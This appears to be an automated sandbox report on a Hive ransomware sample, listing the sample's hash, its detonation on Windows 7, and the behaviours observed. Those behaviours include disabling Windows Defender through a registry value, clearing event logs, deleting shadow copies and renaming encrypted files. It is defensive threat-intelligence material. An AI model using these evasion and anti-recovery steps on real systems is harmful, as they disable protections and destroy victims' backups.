Malware Analysis Report

2024-10-16 03:11

Sample ID 220217-mca1tacagj
Target 7987a020052048ad0ec8855c08df2f47c89922f.exe
SHA256 eba2f0afd491ee595cd6908494e9e2a2115ed71c053c6d7b94970f1985830ada
Tags
evasion ransomware spyware stealer trojan hive
score
10/10

Table of Contents

Analysis Overview

MITRE ATT&CK

Enterprise Matrix V6

Analysis: static1

Detonation Overview

Signatures

Analysis: behavioral1

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral2

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis Overview

score
10/10

SHA256

eba2f0afd491ee595cd6908494e9e2a2115ed71c053c6d7b94970f1985830ada

Threat Level: Known bad

The file 7987a020052048ad0ec8855c08df2f47c89922f.exe was found to be: Known bad.

Malicious Activity Summary

evasion ransomware spyware stealer trojan hive

Deletes Windows Defender Definitions

Hive

Modifies Windows Defender Real-time Protection settings

Modifies security service

Modifies boot configuration data using bcdedit

Clears Windows event logs

Deletes shadow copies

Modifies extensions of user files

Reads user/profile data of web browsers

Launches sc.exe

Drops file in Windows directory

Drops file in Program Files directory

Suspicious use of WriteProcessMemory

Runs net.exe

Suspicious use of AdjustPrivilegeToken

Interacts with shadow copies

Suspicious behavior: EnumeratesProcesses

MITRE ATT&CK

Analysis: static1

Detonation Overview

Reported

2022-02-17 10:18

Signatures

N/A

Analysis: behavioral1

Detonation Overview

Submitted

2022-02-17 10:18

Reported

2022-02-17 10:21

Platform

win7-en-20211208

Max time kernel

64s

Max time network

19s

Command Line

"C:\Users\Admin\AppData\Local\Temp\7987a020052048ad0ec8855c08df2f47c89922f.exe"

Signatures

Deletes Windows Defender Definitions

evasion
Description Indicator Process Target
N/A N/A C:\Program Files\Windows Defender\MpCmdRun.exe N/A

Modifies Windows Defender Real-time Protection settings

evasion trojan

Modifies security service

evasion
Description Indicator Process Target
Set value (int) \REGISTRY\MACHINE\SYSTEM\ControlSet001\services\WinDefend\Start = "4" C:\Windows\system32\reg.exe N/A

Clears Windows event logs

evasion ransomware

Deletes shadow copies

ransomware

Modifies boot configuration data using bcdedit

ransomware evasion
Description Indicator Process Target
N/A N/A C:\Windows\system32\bcdedit.exe N/A
N/A N/A C:\Windows\system32\bcdedit.exe N/A

Modifies extensions of user files

ransomware
Description Indicator Process Target
File opened for modification C:\Users\Admin\Pictures\PingImport.tif.LA99UppX0xfnNi3qGZlTw9cJ2B0kTY8WfUjQ8sz6TFj_IAAAACAAAAA0.qmam4 C:\Users\Admin\AppData\Local\Temp\7987a020052048ad0ec8855c08df2f47c89922f.exe N/A
File renamed C:\Users\Admin\Pictures\ProtectSelect.tiff => C:\Users\Admin\Pictures\ProtectSelect.tiff.LA99UppX0xfnNi3qGZlTw9cJ2B0kTY8WfUjQ8sz6TFj_AAAAAAAAAAA0.qmam4 C:\Users\Admin\AppData\Local\Temp\7987a020052048ad0ec8855c08df2f47c89922f.exe N/A
File opened for modification C:\Users\Admin\Pictures\ProtectSelect.tiff.LA99UppX0xfnNi3qGZlTw9cJ2B0kTY8WfUjQ8sz6TFj_AAAAAAAAAAA0.qmam4 C:\Users\Admin\AppData\Local\Temp\7987a020052048ad0ec8855c08df2f47c89922f.exe N/A
File renamed C:\Users\Admin\Pictures\SkipDebug.png => C:\Users\Admin\Pictures\SkipDebug.png.LA99UppX0xfnNi3qGZlTw9cJ2B0kTY8WfUjQ8sz6TFj_AAAAAAAAAAA0.qmam4 C:\Users\Admin\AppData\Local\Temp\7987a020052048ad0ec8855c08df2f47c89922f.exe N/A
File renamed C:\Users\Admin\Pictures\StopSync.crw => C:\Users\Admin\Pictures\StopSync.crw.LA99UppX0xfnNi3qGZlTw9cJ2B0kTY8WfUjQ8sz6TFj_AAAAAAAAAAA0.qmam4 C:\Users\Admin\AppData\Local\Temp\7987a020052048ad0ec8855c08df2f47c89922f.exe N/A
File renamed C:\Users\Admin\Pictures\DisableCompare.tif => C:\Users\Admin\Pictures\DisableCompare.tif.LA99UppX0xfnNi3qGZlTw9cJ2B0kTY8WfUjQ8sz6TFj_AAAAAAAAAAA0.qmam4 C:\Users\Admin\AppData\Local\Temp\7987a020052048ad0ec8855c08df2f47c89922f.exe N/A
File renamed C:\Users\Admin\Pictures\GetApprove.tiff => C:\Users\Admin\Pictures\GetApprove.tiff.LA99UppX0xfnNi3qGZlTw9cJ2B0kTY8WfUjQ8sz6TFj_AAAAAAAAAAA0.qmam4 C:\Users\Admin\AppData\Local\Temp\7987a020052048ad0ec8855c08df2f47c89922f.exe N/A
File opened for modification C:\Users\Admin\Pictures\OutSend.crw.LA99UppX0xfnNi3qGZlTw9cJ2B0kTY8WfUjQ8sz6TFj_AAAAAAAAAAA0.qmam4 C:\Users\Admin\AppData\Local\Temp\7987a020052048ad0ec8855c08df2f47c89922f.exe N/A
File renamed C:\Users\Admin\Pictures\SubmitReceive.raw => C:\Users\Admin\Pictures\SubmitReceive.raw.LA99UppX0xfnNi3qGZlTw9cJ2B0kTY8WfUjQ8sz6TFj_AAAAAAAAAAA0.qmam4 C:\Users\Admin\AppData\Local\Temp\7987a020052048ad0ec8855c08df2f47c89922f.exe N/A
File opened for modification C:\Users\Admin\Pictures\StopSync.crw.LA99UppX0xfnNi3qGZlTw9cJ2B0kTY8WfUjQ8sz6TFj_AAAAAAAAAAA0.qmam4 C:\Users\Admin\AppData\Local\Temp\7987a020052048ad0ec8855c08df2f47c89922f.exe N/A
File opened for modification C:\Users\Admin\Pictures\DisableCompare.tif.LA99UppX0xfnNi3qGZlTw9cJ2B0kTY8WfUjQ8sz6TFj_AAAAAAAAAAA0.qmam4 C:\Users\Admin\AppData\Local\Temp\7987a020052048ad0ec8855c08df2f47c89922f.exe N/A
File renamed C:\Users\Admin\Pictures\OutSend.crw => C:\Users\Admin\Pictures\OutSend.crw.LA99UppX0xfnNi3qGZlTw9cJ2B0kTY8WfUjQ8sz6TFj_AAAAAAAAAAA0.qmam4 C:\Users\Admin\AppData\Local\Temp\7987a020052048ad0ec8855c08df2f47c89922f.exe N/A
File renamed C:\Users\Admin\Pictures\SendCheckpoint.raw => C:\Users\Admin\Pictures\SendCheckpoint.raw.LA99UppX0xfnNi3qGZlTw9cJ2B0kTY8WfUjQ8sz6TFj_IAAAACAAAAA0.qmam4 C:\Users\Admin\AppData\Local\Temp\7987a020052048ad0ec8855c08df2f47c89922f.exe N/A
File opened for modification C:\Users\Admin\Pictures\RevokeOut.tiff.LA99UppX0xfnNi3qGZlTw9cJ2B0kTY8WfUjQ8sz6TFj_AAAAAAAAAAA0.qmam4 C:\Users\Admin\AppData\Local\Temp\7987a020052048ad0ec8855c08df2f47c89922f.exe N/A
File renamed C:\Users\Admin\Pictures\ShowOpen.raw => C:\Users\Admin\Pictures\ShowOpen.raw.LA99UppX0xfnNi3qGZlTw9cJ2B0kTY8WfUjQ8sz6TFj_AAAAAAAAAAA0.qmam4 C:\Users\Admin\AppData\Local\Temp\7987a020052048ad0ec8855c08df2f47c89922f.exe N/A
File opened for modification C:\Users\Admin\Pictures\ShowOpen.raw.LA99UppX0xfnNi3qGZlTw9cJ2B0kTY8WfUjQ8sz6TFj_AAAAAAAAAAA0.qmam4 C:\Users\Admin\AppData\Local\Temp\7987a020052048ad0ec8855c08df2f47c89922f.exe N/A
File opened for modification C:\Users\Admin\Pictures\SendCheckpoint.raw.LA99UppX0xfnNi3qGZlTw9cJ2B0kTY8WfUjQ8sz6TFj_IAAAACAAAAA0.qmam4 C:\Users\Admin\AppData\Local\Temp\7987a020052048ad0ec8855c08df2f47c89922f.exe N/A
File opened for modification C:\Users\Admin\Pictures\SkipDebug.png.LA99UppX0xfnNi3qGZlTw9cJ2B0kTY8WfUjQ8sz6TFj_AAAAAAAAAAA0.qmam4 C:\Users\Admin\AppData\Local\Temp\7987a020052048ad0ec8855c08df2f47c89922f.exe N/A
File opened for modification C:\Users\Admin\Pictures\SubmitReceive.raw.LA99UppX0xfnNi3qGZlTw9cJ2B0kTY8WfUjQ8sz6TFj_AAAAAAAAAAA0.qmam4 C:\Users\Admin\AppData\Local\Temp\7987a020052048ad0ec8855c08df2f47c89922f.exe N/A
File opened for modification C:\Users\Admin\Pictures\GetApprove.tiff.LA99UppX0xfnNi3qGZlTw9cJ2B0kTY8WfUjQ8sz6TFj_AAAAAAAAAAA0.qmam4 C:\Users\Admin\AppData\Local\Temp\7987a020052048ad0ec8855c08df2f47c89922f.exe N/A
File renamed C:\Users\Admin\Pictures\PingImport.tif => C:\Users\Admin\Pictures\PingImport.tif.LA99UppX0xfnNi3qGZlTw9cJ2B0kTY8WfUjQ8sz6TFj_IAAAACAAAAA0.qmam4 C:\Users\Admin\AppData\Local\Temp\7987a020052048ad0ec8855c08df2f47c89922f.exe N/A
File renamed C:\Users\Admin\Pictures\RevokeOut.tiff => C:\Users\Admin\Pictures\RevokeOut.tiff.LA99UppX0xfnNi3qGZlTw9cJ2B0kTY8WfUjQ8sz6TFj_AAAAAAAAAAA0.qmam4 C:\Users\Admin\AppData\Local\Temp\7987a020052048ad0ec8855c08df2f47c89922f.exe N/A

Reads user/profile data of web browsers

spyware stealer

Drops file in Program Files directory

Description Indicator Process Target
File opened for modification C:\Program Files\Java\jre7\lib\zi\America\Metlakatla.LA99UppX0xfnNi3qGZlTw9cJ2B0kTY8WfUjQ8sz6TFj_IAAAACAAAAA0.qmam4 C:\Users\Admin\AppData\Local\Temp\7987a020052048ad0ec8855c08df2f47c89922f.exe N/A
File opened for modification C:\Program Files\Common Files\Microsoft Shared\ink\en-US\boxed-split.avi C:\Users\Admin\AppData\Local\Temp\7987a020052048ad0ec8855c08df2f47c89922f.exe N/A
File opened for modification C:\Program Files\Microsoft Games\Purble Place\fr-FR\PurblePlace.exe.mui.LA99UppX0xfnNi3qGZlTw9cJ2B0kTY8WfUjQ8sz6TFj_AAAAAAAAAAA0.qmam4 C:\Users\Admin\AppData\Local\Temp\7987a020052048ad0ec8855c08df2f47c89922f.exe N/A
File opened for modification C:\Program Files\Windows Media Player\de-DE\wmpnssci.dll.mui C:\Users\Admin\AppData\Local\Temp\7987a020052048ad0ec8855c08df2f47c89922f.exe N/A
File opened for modification C:\Program Files (x86)\Windows Sidebar\Gadgets\Currency.Gadget\de-DE\js\localizedStrings.js C:\Users\Admin\AppData\Local\Temp\7987a020052048ad0ec8855c08df2f47c89922f.exe N/A
File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\visualvm\update_tracking\com-sun-tools-visualvm-profiler.xml.LA99UppX0xfnNi3qGZlTw9cJ2B0kTY8WfUjQ8sz6TFj_AAAAAAAAAAA0.qmam4 C:\Users\Admin\AppData\Local\Temp\7987a020052048ad0ec8855c08df2f47c89922f.exe N/A
File opened for modification C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Font\MyriadPro-Bold.otf.LA99UppX0xfnNi3qGZlTw9cJ2B0kTY8WfUjQ8sz6TFj_IAAAACAAAAA0.qmam4 C:\Users\Admin\AppData\Local\Temp\7987a020052048ad0ec8855c08df2f47c89922f.exe N/A
File opened for modification C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\FD00544_.WMF.LA99UppX0xfnNi3qGZlTw9cJ2B0kTY8WfUjQ8sz6TFj_IAAAACAAAAA0.qmam4 C:\Users\Admin\AppData\Local\Temp\7987a020052048ad0ec8855c08df2f47c89922f.exe N/A
File opened for modification C:\Program Files (x86)\Microsoft Office\CLIPART\Publisher\Backgrounds\J0143754.GIF.LA99UppX0xfnNi3qGZlTw9cJ2B0kTY8WfUjQ8sz6TFj_AAAAAAAAAAA0.qmam4 C:\Users\Admin\AppData\Local\Temp\7987a020052048ad0ec8855c08df2f47c89922f.exe N/A
File opened for modification C:\Program Files (x86)\Microsoft Office\Office14\Groove\ToolData\groove.net\GrooveForms5\FormsPreviewTemplate.html.LA99UppX0xfnNi3qGZlTw9cJ2B0kTY8WfUjQ8sz6TFj_AAAAAAAAAAA0.qmam4 C:\Users\Admin\AppData\Local\Temp\7987a020052048ad0ec8855c08df2f47c89922f.exe N/A
File opened for modification C:\Program Files (x86)\Microsoft Office\Office14\PUBWIZ\NEWS.DPV.LA99UppX0xfnNi3qGZlTw9cJ2B0kTY8WfUjQ8sz6TFj_AAAAAAAAAAA0.qmam4 C:\Users\Admin\AppData\Local\Temp\7987a020052048ad0ec8855c08df2f47c89922f.exe N/A
File opened for modification C:\Program Files (x86)\Windows Sidebar\Gadgets\PicturePuzzle.Gadget\de-DE\gadget.xml C:\Users\Admin\AppData\Local\Temp\7987a020052048ad0ec8855c08df2f47c89922f.exe N/A
File opened for modification C:\Program Files\Common Files\Microsoft Shared\ink\en-US\correct.avi C:\Users\Admin\AppData\Local\Temp\7987a020052048ad0ec8855c08df2f47c89922f.exe N/A
File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\com.jrockit.mc.feature.flightrecorder_5.5.0.165303\feature.xml.LA99UppX0xfnNi3qGZlTw9cJ2B0kTY8WfUjQ8sz6TFj_AAAAAAAAAAA0.qmam4 C:\Users\Admin\AppData\Local\Temp\7987a020052048ad0ec8855c08df2f47c89922f.exe N/A
File opened for modification C:\Program Files\Microsoft Games\Multiplayer\Backgammon\es-ES\bckgzm.exe.mui.LA99UppX0xfnNi3qGZlTw9cJ2B0kTY8WfUjQ8sz6TFj_AAAAAAAAAAA0.qmam4 C:\Users\Admin\AppData\Local\Temp\7987a020052048ad0ec8855c08df2f47c89922f.exe N/A
File opened for modification C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\review_email.gif C:\Users\Admin\AppData\Local\Temp\7987a020052048ad0ec8855c08df2f47c89922f.exe N/A
File opened for modification C:\Program Files (x86)\Microsoft Office\Document Themes 14\Theme Effects\Elemental.eftx.LA99UppX0xfnNi3qGZlTw9cJ2B0kTY8WfUjQ8sz6TFj_AAAAAAAAAAA0.qmam4 C:\Users\Admin\AppData\Local\Temp\7987a020052048ad0ec8855c08df2f47c89922f.exe N/A
File opened for modification C:\Program Files (x86)\Microsoft Office\Office14\Groove\ToolData\groove.net\GrooveForms3\FormsStyles\BabyBlue\TAB_OFF.GIF.LA99UppX0xfnNi3qGZlTw9cJ2B0kTY8WfUjQ8sz6TFj_AAAAAAAAAAA0.qmam4 C:\Users\Admin\AppData\Local\Temp\7987a020052048ad0ec8855c08df2f47c89922f.exe N/A
File opened for modification C:\Program Files (x86)\Adobe\Reader 9.0\Reader\plug_ins3d\tesselate.x3d.LA99UppX0xfnNi3qGZlTw9cJ2B0kTY8WfUjQ8sz6TFj_AAAAAAAAAAA0.qmam4 C:\Users\Admin\AppData\Local\Temp\7987a020052048ad0ec8855c08df2f47c89922f.exe N/A
File opened for modification C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\DD01138_.WMF.LA99UppX0xfnNi3qGZlTw9cJ2B0kTY8WfUjQ8sz6TFj_AAAAAAAAAAA0.qmam4 C:\Users\Admin\AppData\Local\Temp\7987a020052048ad0ec8855c08df2f47c89922f.exe N/A
File opened for modification C:\Program Files (x86)\Microsoft Office\MEDIA\OFFICE14\AUTOSHAP\BD18187_.WMF.LA99UppX0xfnNi3qGZlTw9cJ2B0kTY8WfUjQ8sz6TFj_IAAAACAAAAA0.qmam4 C:\Users\Admin\AppData\Local\Temp\7987a020052048ad0ec8855c08df2f47c89922f.exe N/A
File opened for modification C:\Program Files (x86)\Microsoft Office\MEDIA\OFFICE14\BULLETS\BD15173_.GIF.LA99UppX0xfnNi3qGZlTw9cJ2B0kTY8WfUjQ8sz6TFj_AAAAAAAAAAA0.qmam4 C:\Users\Admin\AppData\Local\Temp\7987a020052048ad0ec8855c08df2f47c89922f.exe N/A
File opened for modification C:\Program Files (x86)\Microsoft Office\Office14\Groove\ToolData\groove.net\GrooveForms4\FormsHomePageStyle.css.LA99UppX0xfnNi3qGZlTw9cJ2B0kTY8WfUjQ8sz6TFj_AAAAAAAAAAA0.qmam4 C:\Users\Admin\AppData\Local\Temp\7987a020052048ad0ec8855c08df2f47c89922f.exe N/A
File opened for modification C:\Program Files (x86)\Windows Sidebar\Gadgets\Currency.Gadget\images\combo-hover-middle.png C:\Users\Admin\AppData\Local\Temp\7987a020052048ad0ec8855c08df2f47c89922f.exe N/A
File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\config\Modules\org-netbeans-swing-tabcontrol.xml.LA99UppX0xfnNi3qGZlTw9cJ2B0kTY8WfUjQ8sz6TFj_AAAAAAAAAAA0.qmam4 C:\Users\Admin\AppData\Local\Temp\7987a020052048ad0ec8855c08df2f47c89922f.exe N/A
File opened for modification C:\Program Files\Java\jre7\lib\zi\America\Nassau.LA99UppX0xfnNi3qGZlTw9cJ2B0kTY8WfUjQ8sz6TFj_AAAAAAAAAAA0.qmam4 C:\Users\Admin\AppData\Local\Temp\7987a020052048ad0ec8855c08df2f47c89922f.exe N/A
File opened for modification C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\AN00965_.WMF.LA99UppX0xfnNi3qGZlTw9cJ2B0kTY8WfUjQ8sz6TFj_AAAAAAAAAAA0.qmam4 C:\Users\Admin\AppData\Local\Temp\7987a020052048ad0ec8855c08df2f47c89922f.exe N/A
File opened for modification C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\FD00086_.WMF.LA99UppX0xfnNi3qGZlTw9cJ2B0kTY8WfUjQ8sz6TFj_IAAAACAAAAA0.qmam4 C:\Users\Admin\AppData\Local\Temp\7987a020052048ad0ec8855c08df2f47c89922f.exe N/A
File opened for modification C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\SO00221_.WMF.LA99UppX0xfnNi3qGZlTw9cJ2B0kTY8WfUjQ8sz6TFj_AAAAAAAAAAA0.qmam4 C:\Users\Admin\AppData\Local\Temp\7987a020052048ad0ec8855c08df2f47c89922f.exe N/A
File opened for modification C:\Program Files (x86)\Windows Sidebar\Gadgets\Clock.Gadget\images\modern_dot.png C:\Users\Admin\AppData\Local\Temp\7987a020052048ad0ec8855c08df2f47c89922f.exe N/A
File opened for modification C:\Program Files\Windows Sidebar\Gadgets\Weather.Gadget\drag.png C:\Users\Admin\AppData\Local\Temp\7987a020052048ad0ec8855c08df2f47c89922f.exe N/A
File opened for modification C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\J0382968.JPG.LA99UppX0xfnNi3qGZlTw9cJ2B0kTY8WfUjQ8sz6TFj_AAAAAAAAAAA0.qmam4 C:\Users\Admin\AppData\Local\Temp\7987a020052048ad0ec8855c08df2f47c89922f.exe N/A
File opened for modification C:\Program Files (x86)\Microsoft Office\Office14\1033\INFOPATH_K_COL.HXK.LA99UppX0xfnNi3qGZlTw9cJ2B0kTY8WfUjQ8sz6TFj_AAAAAAAAAAA0.qmam4 C:\Users\Admin\AppData\Local\Temp\7987a020052048ad0ec8855c08df2f47c89922f.exe N/A
File opened for modification C:\Program Files (x86)\Microsoft Office\Office14\RSWOP.ICM.LA99UppX0xfnNi3qGZlTw9cJ2B0kTY8WfUjQ8sz6TFj_AAAAAAAAAAA0.qmam4 C:\Users\Admin\AppData\Local\Temp\7987a020052048ad0ec8855c08df2f47c89922f.exe N/A
File opened for modification C:\Program Files\Common Files\System\Ole DB\ja-JP\sqloledb.rll.mui C:\Users\Admin\AppData\Local\Temp\7987a020052048ad0ec8855c08df2f47c89922f.exe N/A
File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\America\Costa_Rica.LA99UppX0xfnNi3qGZlTw9cJ2B0kTY8WfUjQ8sz6TFj_IAAAACAAAAA0.qmam4 C:\Users\Admin\AppData\Local\Temp\7987a020052048ad0ec8855c08df2f47c89922f.exe N/A
File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\org-netbeans-modules-favorites.jar.LA99UppX0xfnNi3qGZlTw9cJ2B0kTY8WfUjQ8sz6TFj_AAAAAAAAAAA0.qmam4 C:\Users\Admin\AppData\Local\Temp\7987a020052048ad0ec8855c08df2f47c89922f.exe N/A
File opened for modification C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\DD01585_.WMF.LA99UppX0xfnNi3qGZlTw9cJ2B0kTY8WfUjQ8sz6TFj_AAAAAAAAAAA0.qmam4 C:\Users\Admin\AppData\Local\Temp\7987a020052048ad0ec8855c08df2f47c89922f.exe N/A
File opened for modification C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\HH00276_.WMF.LA99UppX0xfnNi3qGZlTw9cJ2B0kTY8WfUjQ8sz6TFj_AAAAAAAAAAA0.qmam4 C:\Users\Admin\AppData\Local\Temp\7987a020052048ad0ec8855c08df2f47c89922f.exe N/A
File opened for modification C:\Program Files (x86)\Microsoft Office\Office14\Groove\ToolData\groove.net\GrooveForms\FieldTypePreview\BUTTON.JPG.LA99UppX0xfnNi3qGZlTw9cJ2B0kTY8WfUjQ8sz6TFj_AAAAAAAAAAA0.qmam4 C:\Users\Admin\AppData\Local\Temp\7987a020052048ad0ec8855c08df2f47c89922f.exe N/A
File opened for modification C:\Program Files (x86)\Microsoft Office\Office14\PUBBA\MSPUB5B.BDR.LA99UppX0xfnNi3qGZlTw9cJ2B0kTY8WfUjQ8sz6TFj_IAAAACAAAAA0.qmam4 C:\Users\Admin\AppData\Local\Temp\7987a020052048ad0ec8855c08df2f47c89922f.exe N/A
File opened for modification C:\Program Files (x86)\Microsoft Office\Office14\PUBWIZ\DGWEBAD.XML.LA99UppX0xfnNi3qGZlTw9cJ2B0kTY8WfUjQ8sz6TFj_AAAAAAAAAAA0.qmam4 C:\Users\Admin\AppData\Local\Temp\7987a020052048ad0ec8855c08df2f47c89922f.exe N/A
File opened for modification C:\Program Files\Common Files\System\ado\msado26.tlb C:\Users\Admin\AppData\Local\Temp\7987a020052048ad0ec8855c08df2f47c89922f.exe N/A
File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.equinox.p2.artifact.repository.nl_zh_4.4.0.v20140623020002.jar.LA99UppX0xfnNi3qGZlTw9cJ2B0kTY8WfUjQ8sz6TFj_AAAAAAAAAAA0.qmam4 C:\Users\Admin\AppData\Local\Temp\7987a020052048ad0ec8855c08df2f47c89922f.exe N/A
File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.ui.views_3.7.0.v20140408-0703.jar.LA99UppX0xfnNi3qGZlTw9cJ2B0kTY8WfUjQ8sz6TFj_IAAAACAAAAA0.qmam4 C:\Users\Admin\AppData\Local\Temp\7987a020052048ad0ec8855c08df2f47c89922f.exe N/A
File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\org-netbeans-modules-progress-ui.jar.LA99UppX0xfnNi3qGZlTw9cJ2B0kTY8WfUjQ8sz6TFj_IAAAACAAAAA0.qmam4 C:\Users\Admin\AppData\Local\Temp\7987a020052048ad0ec8855c08df2f47c89922f.exe N/A
File opened for modification C:\Program Files\Java\jre7\lib\zi\Pacific\Guam.LA99UppX0xfnNi3qGZlTw9cJ2B0kTY8WfUjQ8sz6TFj_IAAAACAAAAA0.qmam4 C:\Users\Admin\AppData\Local\Temp\7987a020052048ad0ec8855c08df2f47c89922f.exe N/A
File opened for modification C:\Program Files\Windows Media Player\en-US\wmpnscfg.exe.mui C:\Users\Admin\AppData\Local\Temp\7987a020052048ad0ec8855c08df2f47c89922f.exe N/A
File opened for modification C:\Program Files\Windows Media Player\ja-JP\WMPDMC.exe.mui C:\Users\Admin\AppData\Local\Temp\7987a020052048ad0ec8855c08df2f47c89922f.exe N/A
File opened for modification C:\Program Files (x86)\Microsoft Office\Document Themes 14\Theme Colors\Paper.xml.LA99UppX0xfnNi3qGZlTw9cJ2B0kTY8WfUjQ8sz6TFj_AAAAAAAAAAA0.qmam4 C:\Users\Admin\AppData\Local\Temp\7987a020052048ad0ec8855c08df2f47c89922f.exe N/A
File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Indian\Reunion.LA99UppX0xfnNi3qGZlTw9cJ2B0kTY8WfUjQ8sz6TFj_AAAAAAAAAAA0.qmam4 C:\Users\Admin\AppData\Local\Temp\7987a020052048ad0ec8855c08df2f47c89922f.exe N/A
File opened for modification C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\J0241077.WMF.LA99UppX0xfnNi3qGZlTw9cJ2B0kTY8WfUjQ8sz6TFj_AAAAAAAAAAA0.qmam4 C:\Users\Admin\AppData\Local\Temp\7987a020052048ad0ec8855c08df2f47c89922f.exe N/A
File opened for modification C:\Program Files (x86)\Microsoft Office\Office14\1033\PUBSPAPR\PDIR37F.GIF.LA99UppX0xfnNi3qGZlTw9cJ2B0kTY8WfUjQ8sz6TFj_AAAAAAAAAAA0.qmam4 C:\Users\Admin\AppData\Local\Temp\7987a020052048ad0ec8855c08df2f47c89922f.exe N/A
File opened for modification C:\Program Files (x86)\Microsoft Office\Office14\Groove\ToolData\groove.net\CommonData\AlertImage_FileOffMask.bmp.LA99UppX0xfnNi3qGZlTw9cJ2B0kTY8WfUjQ8sz6TFj_AAAAAAAAAAA0.qmam4 C:\Users\Admin\AppData\Local\Temp\7987a020052048ad0ec8855c08df2f47c89922f.exe N/A
File opened for modification C:\Program Files (x86)\Microsoft Office\Office14\Groove\ToolData\groove.net\GrooveDocumentReview\MarkupIconImages.jpg.LA99UppX0xfnNi3qGZlTw9cJ2B0kTY8WfUjQ8sz6TFj_AAAAAAAAAAA0.qmam4 C:\Users\Admin\AppData\Local\Temp\7987a020052048ad0ec8855c08df2f47c89922f.exe N/A
File opened for modification C:\Program Files (x86)\Windows Media Player\de-DE\wmpnssci.dll.mui C:\Users\Admin\AppData\Local\Temp\7987a020052048ad0ec8855c08df2f47c89922f.exe N/A
File opened for modification C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\BL00098_.WMF.LA99UppX0xfnNi3qGZlTw9cJ2B0kTY8WfUjQ8sz6TFj_IAAAACAAAAA0.qmam4 C:\Users\Admin\AppData\Local\Temp\7987a020052048ad0ec8855c08df2f47c89922f.exe N/A
File opened for modification C:\Program Files (x86)\Microsoft Office\Office14\1033\PUBFTSCM\SCHEME36.CSS.LA99UppX0xfnNi3qGZlTw9cJ2B0kTY8WfUjQ8sz6TFj_IAAAACAAAAA0.qmam4 C:\Users\Admin\AppData\Local\Temp\7987a020052048ad0ec8855c08df2f47c89922f.exe N/A
File opened for modification C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\turnOffNotificationInAcrobat.gif C:\Users\Admin\AppData\Local\Temp\7987a020052048ad0ec8855c08df2f47c89922f.exe N/A
File opened for modification C:\Program Files (x86)\Windows Sidebar\Gadgets\RSSFeeds.Gadget\en-US\css\settings.css C:\Users\Admin\AppData\Local\Temp\7987a020052048ad0ec8855c08df2f47c89922f.exe N/A
File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\locale\org-netbeans-modules-autoupdate-cli_zh_CN.jar.LA99UppX0xfnNi3qGZlTw9cJ2B0kTY8WfUjQ8sz6TFj_IAAAACAAAAA0.qmam4 C:\Users\Admin\AppData\Local\Temp\7987a020052048ad0ec8855c08df2f47c89922f.exe N/A
File opened for modification C:\Program Files\Windows Sidebar\Gadgets\PicturePuzzle.Gadget\Images\8.png C:\Users\Admin\AppData\Local\Temp\7987a020052048ad0ec8855c08df2f47c89922f.exe N/A
File opened for modification C:\Program Files (x86)\Microsoft Office\MEDIA\OFFICE14\AUTOSHAP\BD18215_.WMF.LA99UppX0xfnNi3qGZlTw9cJ2B0kTY8WfUjQ8sz6TFj_AAAAAAAAAAA0.qmam4 C:\Users\Admin\AppData\Local\Temp\7987a020052048ad0ec8855c08df2f47c89922f.exe N/A
File opened for modification C:\Program Files (x86)\Microsoft Office\MEDIA\OFFICE14\BULLETS\BD21294_.GIF.LA99UppX0xfnNi3qGZlTw9cJ2B0kTY8WfUjQ8sz6TFj_IAAAACAAAAA0.qmam4 C:\Users\Admin\AppData\Local\Temp\7987a020052048ad0ec8855c08df2f47c89922f.exe N/A

Launches sc.exe

Interacts with shadow copies

ransomware
Description Indicator Process Target
N/A N/A C:\Windows\system32\vssadmin.exe N/A

Runs net.exe

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeSecurityPrivilege N/A C:\Windows\system32\wevtutil.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\system32\wevtutil.exe N/A
Token: SeSecurityPrivilege N/A C:\Windows\system32\wevtutil.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\system32\wevtutil.exe N/A
Token: SeSecurityPrivilege N/A C:\Windows\system32\wevtutil.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\system32\wevtutil.exe N/A
Token: SeIncreaseQuotaPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeSecurityPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeTakeOwnershipPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeLoadDriverPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeSystemProfilePrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeSystemtimePrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeProfSingleProcessPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeIncBasePriorityPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeRestorePrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
